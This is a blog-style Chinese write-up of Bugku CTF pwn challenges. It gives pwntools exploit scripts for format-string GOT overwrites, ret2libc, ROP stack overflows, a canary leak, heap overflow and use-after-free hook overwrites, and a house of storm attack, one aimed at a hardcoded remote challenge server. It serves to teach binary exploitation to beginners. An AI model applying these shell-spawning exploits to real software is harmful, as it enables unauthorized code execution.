Bugku_CTF的pwn题解

之前了解这平台,好像还是师傅们打AWD。尤其本人没打过,所以不讨论有机会和师傅们一起玩。链接如下https://ctf.bugku.com/

瑞士军刀

看名字就知道是nc,直接连。

5bf7dc71f56cc21887b825b604146ad.png

repeater

这题就是简单的fmt+ret2libc,比较坑的是没给你libc。直接泄露栈上的地址,找不到对应的版本,所以就想着泄露puts,但是用到了%s来进行泄露。之后就是简单的修改got表

检查保护

1724203925407.png

可以修改got表

1724204041564.png

无限次的格式化字符串漏洞。查看一波offset=6

13d87bea363ec76b1894dfff32888c1.png

pl = p32(puts_got) + b"%6$s"

19f03a0c3977dc8c3c7b447d08b6c4f.png

为什么用s呢,因为%p是打印该指针地址,%s是直接打印字符串,只要不遇到字符串终结符他就不会停止。依次还会打印出来,可以看到它打印出来了puts_got表和表里面的内容,以及下面的__libc_start_main,putchar@plt+6

[DEBUG] Received 0x10 bytes:
    00000000  18 a0 04 08  80 e0 de f7  a0 cc d9 f7  36 84 04 08  │····│····│····│6···│
    00000010

d52084820d10da08e49d5cd37714704.png

然后就是正常的修改got表

00b5e39edc410870d31b9cfffd7e451.png

def exp(): 
    puts_got = elf.got["puts"]
    printf_got = elf.got["printf"]
    ru(" repeater?\n")

    pl = p32(puts_got) + b"%6$s"
    s(pl)
    
    puts = u32(io.recv(8)[-4:]) 
    lg("puts",puts)

    libc = LibcSearcher("puts",puts)
    libc_base = puts - libc.dump("puts")
    lg("libc_base",libc_base)

    system = libc_base + libc.dump("system")
    offset = 6
    pl = fmtstr_payload(offset,{printf_got:system})
    s(pl)

    s("/bin/bash\00")

    # gdb()
exp()


ia()
overflow

顾名思义,溢出。

1724204617919.png

有后门,栈溢出。

检查保护

1724204681500.png

打法很多。shellcode也可以,用backdoor也可以

1724204920275.png

def exp(): 
    backdoor = 0x400751
    pl = cyclic(0x30+8) + p64(backdoor)
    s(pl)
exp()


io.interactive()
Easy_int

他的这个保护我看着都比较陌生了。

1724205279658.png

看看源码,上来就是一个知识点题,让你输入一个数NUM,且NUM和-NUM都要是负数。这就是机组的知识了,int表示范围是-2147483648~2147483647,我输入-2147483648的时候,他在数轴的正半轴没有对应的数,所以还是负数。

1724205471521.png

查看字符表有system和sh。在找一个pop rdi的gadget,还有一个ret用于栈对齐

1724205646757.png

1724205698995.png

最后getshell

1724205902355.png

def exp(): 
    ru("Input your int:\n")
    sl("-2147483648")

    pop_rdi = 0x0401343
    ret = 0x40101a
    sh = 0x403500
    system = elf.plt['system']

    pl = cyclic(0x20+0x8) + p64(pop_rdi) + p64(sh) + p64(ret) + p64(system)
    ru("Congratulations!\n")
    s(pl)

exp()


io.interactive()
canary

顾名思义肯定是为了得到canary。可以利用%s将canary打印出来。与上一题一样都给了system和sh

1724206036201.png

ru("Please leave your name(Within 36 Length):")
    pl = b"a"*568
    sl(pl)
    ru(b"a"*568 + b"\n")
    canary = u64(b"\x00" + r(7))
    lg('canary',canary)#泄露canary

1724207168798.png

最后getshell

1724207134737.png

def exp(): 
    ru("Please leave your name(Within 36 Length):")
    pl = b"a"*568
    sl(pl)
    ru(b"a"*568 + b"\n")
    canary = u64(b"\x00" + r(7))
    lg('canary',canary)

    system = elf.plt["system"]
    sh = 0x601068
    ret = 0x0400611
    pop_rdi = 0x400963

    pl = cyclic(0x210-8) + p64(canary) + p64(0) + p64(pop_rdi) + p64(sh) + p64(ret) + p64(system)
    ru("Please leave a message(Within 0x200 Length):")
    s(pl)
exp()


io.interactive()
overflow2

这题和前面两题一样给了system和sh、栈溢出,直接打。

1724207631255.png

def exp(): 
    system = elf.plt['system']
    sh = 0x402004
    pop_rdi = 0x040126b
    ret = 0x401016

    ru(" your name.\n")
    pl = cyclic(0x20+8) + p64(pop_rdi) + p64(sh) + p64(ret) + p64(system)
    s(pl)
exp()


io.interactive()
Baby-heap1

这题终于能让我涨点金币了。😀我用的版本是2.23-0ubuntu11.3_amd64,打通了。

检查保护全开

1724209732373.png

ida打开逐渐分析发现漏洞点应该是堆溢出

1724209788827.png

直接开打,先布置好堆,我的第一思路还是打__malloc_hook。

申请一个unsortedbin范围的chunk,之后给他delete掉,他的fd和bk指针保留,直接泄露。之后就是把你需要的数据都找到。

add(0x80)#0
add(0x68)#1	
add(0x68)#2
add(0x20)#3,防止与top chunk合并

delete(0)
add(0x80)#0
show(0)
leak = uu64()
 __malloc_hook = leak - 0x58 - 0x10
fake_chunk = __malloc_hook - 0x23
libc_base = __malloc_hook - libc.sym["__malloc_hook"]
libc.address=libc_base

1724210103042.png

之后就是因为它可以任意长度堆溢出,直接free掉两个fastbin再修改chunk1的fd指针,使得其指向fake_chunk地址

delete(2)
   delete(1)

   pl = p64(0)*0x10 + p64(0x90) + p64(0x71) + p64(fake_chunk)
   edit(0,len(pl),pl)

1724210145710.png

最后因为栈帧问题,所以需要借助realloc来进行调整。往realloc里面写入onegadget在malloc里面写入realloc。

1724210319177.png

最后getshell

1724209713808.png

printf

我们先把栈打完再去看那两个堆。因为我快吃饭了。怕没时间打完。

检查保护

1724222808473.png

函数有三个选项,对应三个encode

1724222932229.png

encode1,可以往这个数据段的src写入一个0x150的数据

1724223003229.png

encode2,有格式化字符串漏洞,这个buf1是bss段上的。所以这个格式化字符串是非栈上的

1724223063271.png

encode3,这个就把buf的值复制到src里面

1724223123472.png

可以注意到每个函数里面都对应一个加密算法,就是简单的移位运算

1724223200800.png

运行程序可以发现,正常情况一下只进行一次循环就通过exit(0)退出了。用ida查看qword_201700=0x201700,发现其在encode1的src后面offset = 0x140,将其修改为一个很大的值就可以进行多次循环,看保护+fmt大概思路也是修改got表。但是这题我感觉好奇怪,我的想法还是修改printf的got表但是好像就修改到第7次就失败了。后面一直找原因也没找到。而且这个libc版本是个小版本libc6_2.23-0ubuntu11.2_amd64。

这是我自己的思路,但是行不通在这里。我之前的比赛这种非栈上的都是这么打的,您可以做个参考。

#encode2的逆算法
def choice2encode(strarg):
    return b''.join([p8(((ord(i)&0b11)<<6)+((ord(i)&0b11111100)>>2)) for i in strarg])
#encode3的逆算法
def choice3encode(strarg):
    return b''.join([p8(((ord(i)&0b00111111)<<2)+ ((ord(i)&0b11000000)>>6)) for i in strarg])

def exp(): 

    def attach(pl):
        ru("choice:\n")
        sl("2")
        ru(" encode:\n")
        s(pl)

    ru("your choice:\n")
    sl("1")
    ru("keys?\n")
    sl(p8(0))
    ru("your message to encode:\n")
    s('a'*0x150)    
    
    pl = choice2encode("%55$p-%51$p-%11$p")
    # pause()
    attach(pl)
    ru("0x")
    __libc_start_main = int(r(12),16)-240
    ru('-')
    codebase = int(r(14),16) - 0xe5b
    ru("-")
    stack = int(r(14),16) - 0xe0
    ret_stack = stack +0x8
    libc = LibcSearcher("__libc_start_main",__libc_start_main)
    libc_base = __libc_start_main - libc.dump("__libc_start_main")
    
    printf_got = codebase + elf.got['printf']
    
    system = libc_base + libc.dump("system")

    pl = choice2encode("%" + str((stack+2)&0xff) + "c%14$hhn")
    attach(pl)

    pl = choice2encode("%" + str(((printf_got>>16))&0xff) + "c" +"%22$hhn")
    attach(pl)
    
    pl = choice2encode("%" + str(stack&0xff) + "c" +"%14$hhn")
    attach(pl)

    pl = choice2encode("%" + str((printf_got+2)&0xffff) + "c" +"%22$hn")
    attach(pl)  

    pl = choice2encode("%" + str((system>>16)&0xff) + "c" +"%54$hhn")
    attach(pl)

    pl = choice2encode("%" + str((printf_got)&0xff) + "c" +"%22$hhn")
    attach(pl)  #这之后就断掉了。

    pl = choice2encode("%" + str((system)&0xffff) + "c" +"%54$hn")
    attach(pl)

    ru("choice:")   
    sl("2")
    ru(" encode:\n")
    sl("/bin/sh\x00")

    lg("__libc_start_main",__libc_start_main)
    lg("codebase",codebase)
    lg("stack",stack)
    lg("libc_base",libc_base)
    lg("printf_got",printf_got)
    lg("system",system)
    # gdb()

exp()


io.interactive()

下面是能打通的wp,但我还是感觉很奇怪。因为它是修改的strcpy_got的。而且是一个字节一个字节的改。

#coding=utf-8
from pwn import *
import sys
from LibcSearcher import *
context.log_level="debug"
context.terminal = ['gnome-terminal','-x','sh','-c']

p = remote("114.67.175.224",11441)

elf=ELF('./pwn')

#encode2的逆算法
def choice2encode(strarg):
    return b''.join([p8(((ord(i)&0b11)<<6)+((ord(i)&0b11111100)>>2)) for i in strarg])
#encode3的逆算法
def choice3encode(strarg):
    return b''.join([p8(((ord(i)&0b00111111)<<2)+ ((ord(i)&0b11000000)>>6)) for i in strarg])


p.sendlineafter('choice:','1')
p.sendafter('keys?',p8(0))
p.sendafter('encode:','a'*0x148) 

p.sendlineafter('choice:','2')
payload=choice2encode('%55$p%51$p%14$p')
p.sendafter('encode:',payload)
p.recvuntil('0x')   
libc_start_main=int(p.recvuntil('0x',drop=True),16)-240

#libc_base
libc=LibcSearcher("__libc_start_main", libc_start_main)
libc_base=libc_start_main-libc.dump('__libc_start_main')   #libc基址
#main_base
main_base=int(p.recvuntil('0x',drop=True),16)-0xe5b
#stack_addr
stack_addr=int(p.recv(12),16)
success('leak->libc_base' +hex(libc_base))
success('leak->mainbase' +hex(main_base))
success('leak->stack_addr' +hex(stack_addr))
strcpy_got=main_base+elf.got['strcpy']#elf的基地址  
print('strcpyGOT'+hex(strcpy_got))
libc_system=libc_base+libc.dump('system')
print('system'+hex(libc_system))


#格式化字符串,第一步
for i in range(6):
    print('first'+str(i))
    x = 5-i
    off_lowByte=(stack_addr+32+x)&0xff
    p.sendlineafter('choice:','2')
    payload=choice2encode('%'+str(off_lowByte)+'c%14$hhn')
    p.sendafter('encode:',payload)

    value_lowByte = (strcpy_got>>(x*8))&0xff
    p.sendlineafter('choice:','2')
    payload=choice2encode('%'+str(value_lowByte)+'c%50$hhn')
    p.sendafter('encode:',payload)
  
#格式化字符串,第二步
for i in range(6):
    print('second'+str(i))
    off_lowByte=(strcpy_got+i)&0xff
    p.sendlineafter('choice:','2')
    payload=choice2encode('%'+str(off_lowByte)+'c%50$hhn')
    p.sendafter('encode:',payload)
  
    value_lowByte = (libc_system>>(i*8))&0xff
    p.sendlineafter('choice:','2')
    payload=choice2encode('%'+str(value_lowByte)+'c%54$hhn')
    p.sendafter('encode:',payload)

#执行system('/bin/sh')
p.sendlineafter('choice:','3')
p.sendafter('encode:',choice3encode('/bin/sh\x00'))
p.interactive()

至于他为什么一个字节一个字节该是因为这两个的地址几乎不一样。所以我感觉很鸡肋。

83a94331d7407a047f0484393068af91.png

Baby-heap2

这题就有意思了,题目给的描述是2.31结果下面都说是2.27。然后我用2.27得到的libc_base才是正确的,但是远程也是打不通的。本地都通了。

这题和之前哪一题逻辑一样,只不过不是堆溢出了,改成了uaf。把tcache填满,在申请一个0x80的chunk,放到unsortedbin里面就可以泄露出来信息(uaf)。之后就是正常,当时远程打不通,我以为是我的方法问题用了两种方法一个是该free_hook还有一个是用realloc调节栈帧之后oog。本地都通了。以下是我用的libc,也是远程环境的。

13c3d7435fd96f2a43a5055770c0fae9.png

#用realloc调节栈帧之后oog
def exp(): 
    def choice(idx):
        ru("Command:")
        sl(str(idx).encode())

    def add(size):
        choice(1)
        ru("size:")
        sl(str(size).encode())

    def edit(index,content):
        choice(2)
        ru(":")
        sl(str(index).encode())
        ru(":")
        s(content)

    def show(index):
        choice(3)
        ru(":")
        sl(str(index))
    
    def delete(index):
        choice(4)
        ru(":")
        sl(str(index).encode())
    
    #heap - 0x4080
    add(0x20)#0
    add(0x80)#1
    add(0x20)#2

    for i in range(7):#3-9
        add(0x80)
    
    for i in range(7):
        delete(i+3)
    
    delete(1)
    show(1)
    ru("Content:")
    leak = uu64()
    __malloc_hook = leak - 0x70
    libc_base = __malloc_hook - libc.sym["__malloc_hook"]
    fake_chunk = __malloc_hook - 0x23

    add(0x70)#10
    add(0x68)#11
    add(0x68)#12
    
    delete(11)
    
    edit(11,p64(fake_chunk))

    add(0x68)#13

    add(0x68)#14
    # add(0x68)#15
    libc.address=libc_base

    oog = [0x4f29e,0x4f2a5,0x4f302,0x10a2fc]
   	pl = b"a"*0x1b + p64(oog[3]+libc_base) + p64(libc.sym["realloc"]+4)
    edit(14,pl)

    add(0x20)
    lg("leak",leak)
    lg("libc_base",libc_base)
    lg("fake_chunk",fake_chunk)

    # gdb()
exp()


io.interactive()

e76264eed7092de47da47eb9361ae351.png

#改__free_hook为system
def exp(): 
    def choice(idx):
        ru("Command:")
        sl(str(idx).encode())

    def add(size):
        choice(1)
        ru("size:")
        sl(str(size).encode())

    def edit(index,content):
        choice(2)
        ru(":")
        sl(str(index).encode())
        ru(":")
        s(content)

    def show(index):
        choice(3)
        ru(":")
        sl(str(index))
    
    def delete(index):
        choice(4)
        ru(":")
        sl(str(index).encode())
    
    #heap - 0x4080
    add(0x20)#0
    add(0x80)#1
    add(0x20)#2

    for i in range(7):#3-9
        add(0x80)
    
    for i in range(7):
        delete(i+3)
    
    delete(1)
    show(1)
    ru("Content:")
    leak = uu64()
    __malloc_hook = leak - 0x70
    libc_base = __malloc_hook - libc.sym["__malloc_hook"]
    free_hook = libc_base + libc.sym["__free_hook"]

    add(0x70)#10
    add(0x68)#11
    add(0x68)#12
    
    delete(11)
    
    edit(11,p64(free_hook))

    add(0x68)#13

    add(0x68)#14
    
    libc.address=libc_base

    oog = [0x4f29e,0x4f2a5,0x4f302,0x10a2fc]
    pl = p64(libc.sym["system"])
    
    edit(14,pl)

    edit(13,'/bin/bash\x00')
    delete(13)
    lg("leak",leak)
    lg("libc_base",libc_base)
    lg("free_hook",free_hook)
    
exp()


io.interactive()

736948c0d7c84396d1be5d72195a6809.png

simple_storm

其实我想起来打这个靶场,还是在学习house of storm的时候。看到了这个地方有这个题。所以就给它打了。

这题顾名思义,肯定用house of storm来打。

  • 适合版本是libc2.23-2.29
  • 需要能修改unsortedbin的bk,largebin的bk,bk_nextsize

原理网上都是,其实记不记得问题也不大。就只需要知道你需要构造一个unsortedbin和largebin,修改unsortedbin的bk=target_addr(目标地址), 修改largebin的bk=target_addr + 0x8, bk_nextsize = target_addr -0x20+3(0x1d),之后在申请一个0x50范围的chunk就可以得到目标地址。

本题直接打free_hook,就可以了。这个成功概率大概50%所以多试几次就好了。

成功修改__free_hook为system

072ea12359d232de973be0a524ab730a.png

最后getshell

0e161d9deab4acea5f14897cb747e948.png

def exp(): 
    def choice(idx):
        ru("Your choice?\n")
        sl(str(idx).encode())

    def add(size):
        choice(1)
        ru("\n")
        s(str(size).encode())
    
    def show(index):
        choice(4)
        ru("\n")
        s(str(index).encode())

    def edit(index,content):
        choice(3)
        ru("\n")
        sl(str(index).encode())
        ru("\n")
        s(content)

    def delete(index):
        choice(2)
        ru("\n")
        s(str(index).encode())
    
    add(0x20)#0
    add(0x400)#1
    add(0x20)#2
    add(0x410)#3
    add(0x20)#4
    add(0x20)#5
    add(0x20)#6

    delete(1)
    delete(3)
    delete(5)

    show(1)
    main_arenas = uu64() - 0x58

    show(3)
    heap = u68()

    add(0x20)#5 = 7 
    add(0x410)#3 = 8

    delete(3)

    malloc_hook = main_arenas - 0x10
    libc.address = malloc_hook - libc.sym["__malloc_hook"]
    fake_chunk = libc.sym["__free_hook"] - 0x10

    pl = p64(0) + p64(fake_chunk) 
    edit(3,pl)                      #修改unsortedbin的bk=addr

    #pl = p64(0) + p64(fake_chunk+0x8) + p64(0) + p64(fake_chunk - 0x1d)
    pl = p64(0) + p64(fake_chunk+0x8) + p64(0) + p64(fake_chunk - 0x20+3)
    edit(1,pl)                      #修改largebin的bk=addr+0x8,bk_nextsize=addr-0x20+3

    edit(0,'/bin/sh\x00') #建议先edit之后在申请0x50范围的chunk,这个是有概率成功的

    add(0x48)
    
    pl = p64(libc.sym["system"])
    edit(9,pl)

    delete(0)
    lg("fake_chunk",fake_chunk)
    lg("main_arenas",main_arenas)
    lg("heap",heap)
    # gdb()
exp()


io.interactive()

您能看到这里,我真的很开心。就如我的摘录所说,打CTF也是一个兴趣,强制消费才可以阅读wp这多少有点寒了新手的心,我本人学pwn大概快小半年了,个人感觉万事开头难,多经过几次折磨坐牢就会有所提升。我写这篇文章的目的就是为了让新生有个可以参考的地方,当然如果您是个富哥,也可以给我的赞助一点。因为本人想玩黑猴,哈哈哈哈哈哈。

最后引用孙悟空的一句话送给正在阅读这篇文章的您:

人生贵在坚持,半途而废者多怨天尤人,不懈努力者总勇攀高峰。